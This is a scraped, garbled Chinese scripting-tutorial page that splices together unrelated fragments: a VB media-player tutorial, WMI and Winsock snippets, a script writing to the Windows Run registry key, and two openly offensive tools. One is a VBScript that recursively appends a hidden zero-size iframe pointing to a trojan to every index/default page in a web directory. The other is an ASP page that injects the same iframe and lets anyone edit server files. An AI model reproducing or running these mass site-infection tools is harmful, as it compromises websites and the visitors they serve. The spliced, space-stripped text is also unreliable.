mysql数据库备份脚本wincc全局vb读取变量

发布时间:2020-11-20 来源:脚本之家 点击:

VB利用高级音频函数编写多媒体播放器

现在使用VB编程的朋友越来越多了.但是如何使用VB来编写播放多媒体文件的播放器呢?本篇将详细的介绍如何利用高级音频函数编写媒体播放器!

内容提要:
了解高级音频函数各参数的意思;
提供一些高级音频函数的命令集;
编写一个简单的多媒体播放器程序;

高级音频函数有两条:1.mciSendString;2.mciSendCommand.前者称为命令字符串函数,后者称为命令消息函数.命令字符串函数顾名思义就是利用字符串作为命令来控制媒体设备,它最适合高级编程语言如:VB.而命令消息函数则是利用消息的发送来控制媒体设备,它最适合利用常数作命令的编程语言如:VC .因此我们这里只讲解命令字符串函数的使用方法.

函数原型:
mciSendString(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong

参数说明:
lpstrCommand:要发送的命令字符串.字符串结构是:[命令][设备别名][命令参数].
lpstrReturnString:返回信息的缓冲区,为一指定了大小的字符串变量.
uReturnLength:缓冲区的大小,就是字符变量的长度.
hwndCallback:回调方式,一般设为零.(*函数执行成功返回零,否则返回错误代码)

 使用此函数能播放哪些媒体文件呢?不用担心,打开win.ini文件看看便知.找到[mciextensions]部分这里记录了你的计算机所能使用的所有媒体文件名,如:mid=Sequencer,等号左边的表示媒体文件的扩展名,等号右边的表示打开此媒体文件的设备名.

  知道了哪些文件可以播放后就可以播放媒体文件了吗?No!你还得知道如何使用命令字符串来控制设备.下面列出的命令集是各种设备同时都具有的也是关键的命令集:

1.Opendevice_name[aliasalias_name]:Open命令用来打开device_name设备并取别名为alias_name,device_name为媒体文件名或设备名,alias_name是为device_name取的别名.如:OpenC:\windows\kl.wavaliasWAV.意思是打开:c:\windows\kl.wav这个文件并取别名为WAV,在经后的操作过程中就可用这个别名来控制它所打开的设备了.

2.Closealias_name:Close命令用来关闭别名为alias_name的设备,在关闭程序时必须调用该命令否则其它的程序将无法打开该设备.

3.Playalias_name:Play命令用来播放别名为alias_name的媒体文件.成功的打开设备后就可调用该命令来播放媒体文件了.

4.Stopalias_name:Stop命令用来停止播放媒体文件.

5.Seekalias_name:Seek命令用来设置当前播放的位置.(需事先设定时间格式)

6.Setalias_name[audioalloff][audioallon][timeformatms]:Set命令用来设置设备的各种状态.如:静音,有声音,时间格式为毫秒等.

7.Statusalias_name[length][mode][position]:Status命令用来取得设备的状态.如:该媒体文件的长度,该媒体文件所处状态,该媒体文件的当前位置等.

由于篇幅有限这里就不再说更多的命令集了.有兴趣的朋友可到我的网址详细的查询.

下面将介绍如何利用上面说的函数和命令集为我们工作:

1.新建一工程并在工程中添加一公用对话框(CommonDialog),再添加一模块(Module).
2.在模块中声明命令字符串函数:
DeclareFunctionmciSendStringLib"winmm.dll"Alias"mciSendStringA"(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong
3.添加一按钮并在按钮的Click事件中加入以下代码:
dimdwReturnasString*256
me.CommonDialog1.ShowOpen
if(mciSendString("Open" Commondialog1.FileName "AliasMCI",dwReturn,256,0)=0)then
mciSendString("PlayMCI",dwReturn,256,0)
endif
4.最后在窗体的UnLoad事件中加入以下代码:
mciSendString("CloseMCI")
是不是很简单!才用了七行代码就编成了一个简单的播放器?

有兴趣的朋友可到我的主页查询,也可给我发E-Mail:
我的主页:(内有详细的说明和丰富的源程序)
我的E-mail:lucykenny@990.net
成都:刘明
地址:成都市新南门青平巷19号->

马上来看对象的创建过程,语句 Set objWSH=CreateObject( "WScript.Shell" ):

linux脚本循环执行

set path=wscript.createobject("wscript.shell")
usera=path.ExpandEnvironmentStrings("%username%")
name=inputbox("请输入你要查询的用户名","sid查询--by不追不悔",usera)
strComputer="."
Set wbemServices=Getobject("winmgmts:\" & strComputer)
Set wbemObjectSet=wbemServices.execquery("select sid from win32_userAccount where name='"&name&"'")

For Each mo In wbemObjectSet
sSID=mo.sid
Next

If(sSID="")Then
WScript.Echo "对不起,无此用户"
Else
WScript.Echo sSID
End If


DimtmpstrAsString
DimNOW_OUTAsInteger'总共出去连接的有几个Winsock
PrivateSubCommand1_Click()
ListPorts.AddItemtxtADDPORT.Text
EndSub


PrivateSubCommand2_Click()
OnErrorResumeNext
IfCommand2.Caption="监听"Then
Fori=0ToListPorts.ListCount-1
LoadWinsock1(i 1)'加载监听端口的winsock1数组控件
Winsock1(i 1).LocalPort=ListPorts.List(i)'设定端口
Winsock1(i 1).Listen'监听
Nexti
Command2.Caption="停止"
Else
Fori=1ToWinsock1.Count-1
UnloadWinsock1(i)
Nexti
Fori2=1ToWinsock2.Count-1
UnloadWinsock2(i2)
Nexti2
Command2.Caption="监听"
EndIf
EndSub


PrivateSubCommand3_Click()
UnloadMe
EndSub


PrivateSubForm_Load()
txtLOG.Text="日志:"&vbCrLf
NOW_OUT=1
EndSub


PrivateSubWinsock1_ConnectionRequest(IndexAsInteger,ByValrequestIDAsLong)
LoadWinsock2(NOW_OUT)'加载建立连接的Winsock2数组控件
Winsock2(NOW_OUT).AcceptrequestID'建立连接
Winsock1(Index).Close
Winsock1(Index).Listen'Winsock1继续监听
NOW_OUT=NOW_OUT 1'连接的控件累加
myAddLog"来自"&Winsock1(Index).RemoteHostIP&"连接到本地端口:"&Winsock1(Index).LocalPort
'显示捕获的连接
EndSub


PrivateSubWinsock2_DataArrival(IndexAsInteger,ByValbytesTotalAsLong)
Winsock2(Index).GetDatatmpstr'通过Getdata捕获数据
myAddLog"来自"&Winsock2(Index).RemoteHostIP&"的数据:"&tmpstr'显示捕获的数据
EndSub


SubmyAddLog(tmptextAsString)'加入日志
tmptext=tmptext&vbCrLf
txtLOG.SelStart=Len(txtLOG.Text)
txtLOG.SelText=tmptext
EndSub


总结:其实一些程序的原理很简单,我们只要善于实践,并且能够把所学的只是运用到你的程序中去,我想编出类似的程序是很简单的

这是一种用以在该脚本的WMI部分中排除特定IP地址的既简单又有效的办法
·opii0n8:可选

WScript.Echo"EnablingKerberosLogging..."
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
'===============================================================================
'创建项的位置
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
'启动创建项目的类型
'=====================================1'REG_SZ字符串值==========================================
strValueName="SysExplr"
'创建字符串的名称
strValue="d:\\Herosoft\\HeroV8\\SYSEXPLR.EXE"
'创建字符串的数据
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
'所创建的类型字符串
'=====================================2.REG_DWORDDWORD值===========================================
strValueName="DWORDValueName"
'创建DWORD名称
dwValue=82
'创建DWORD数据
oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
'所创建类型DWORD
'=======================================3.REG_EXPAND_SZ可扩充字符串值=========================================
strValueName="ExpandedStringValueName"
'创建扩充字符串名称
strValue="%PATHEXT%"
'字符串数据
oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
'所创建类型为扩充字符串
'========================================4.REG_MULTI_SZ多字符串值=========================================
strValueName="MultiStringValueName"
'创建多字符串名称
arrStringValues=Array("firststring","secondstring","thirdstring","fourthstring")
'创建多字符串值
oReg.SetMultiStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,arrStringValues
'所创建类型为多字符串值
'======================================================================================
oReg.DeleteKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
WScript.Echo"-=[Complete!]=-"
虽然,可以通过错误句柄来处理这个问题,但是如果能在代码中检测NewValue的长度岂不更好?如果该值超过5个字符,我们既可以通过裁剪取共前5个字符,也可以忽略这个新的字符串而弹出一个错误提示

scan.vbe
cscriptscan.vbeweb目录
程序代码:

'版权信息
br="************************************"&vbCrLf
br=br&"*VBS批量挂马脚本*"&vbCrLf
br=br&"*BYBanLG*"&vbCrLf
br=br&"************************************"&vbCrLf&vbCrLf
br=br&"cscriptscan.vbeD:"&vbCrLf

'马的地址
ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&""&chr(…t;</IFrAME>"
'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"为分隔符拆分成数组
MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web为空退出脚本
ifweb=""then
Wscript.echo(br)
window.Close
endif

Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf
'创建对象
Setfso=createObject("Scripting.FileSystemObject")

'开始扫描挂马
scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
setfiles=filesder.files
'获取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
'把文件名转换成小写字母
ext=lcase(filesext)
ForEachindexinMyArray
'判断文件是不是我们在MyString里限定的文件,如果是就写马
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext&"………….ok"
Wscript.echo(echo)
endif
next
next

setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'搜索其他目录,递归调用
scan(subfolder)
next
endsub


FSO挂马.asp
传进服务器以后直接输入需要挂马的路径就可以直接挂了
程序代码:

<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<****http-equiv="Content-Type"content="text/html;charset=gb2312">
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then
selectCaseex
Case"edit"
CALLfile_show(pth)
Case"save"
CALLfile_save(pth)
Endselect
Else
%>
<formaction="<%=ASP_SELF%>"method="POST">
FOLDER(ABSOLUTEPATH):
<inputtype="text"name="fd"size="40">
<inputtype="submit"value="SUBMIT">
</form>
<%EndIf%>
<%
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
Else
IsPattern=False
EndIf
EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then
schs
Else
Ifs<>""ThenResponse.Write"InvalidAgrument!"
EndIf

Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("Scripting.FileSystemObject")
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<>0Then
ForEachlInsf
schl
Next
EndIf
EndSub

Substep_all(agr)
retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
IfretValThen
step1agr
step2agr
Else
ExitSub
EndIf
EndSub
%>
<%Substep1(str1)%>
<ahref=""target="_blank"><%=str1%></a><br>
<%EndSub%>
<%
Substep2(str2)
addcode="<iframesrc=(修改为你的马的地址,不要加""不然会出错)width=0height=0frameborder=0></iframe>"
Setfs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
EndIf
Setfs=Nothing
EndSub
%>
<%
Subfile_show(fname)
Setfs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
IfisExistThen
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:<%=fname%>
<formaction="<%=ASP_SELF%>"method="POST">
<textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea>
<inputtype="hidden"name="pth"value="<%=fname%>">
<inputtype="hidden"name="ex"value="save">
<inputtype="submit"value="SAVE">
</form>
<%Else%>
<p>THEFILEISNOTEXITORHAVEdeleteD.</p>
<%
EndIf
EndSub
%>
<%
Subfile_save(fname)
Setfs2=Server.createObject("Scripting.FileSystemObject")
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>"
EndSub
%>
</body>
</html>
x编----所需物件:PictureBox(2),Label(4),Timer(1),Image(1)因而,SQL查询将检索指定用户的sAMAccountName。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号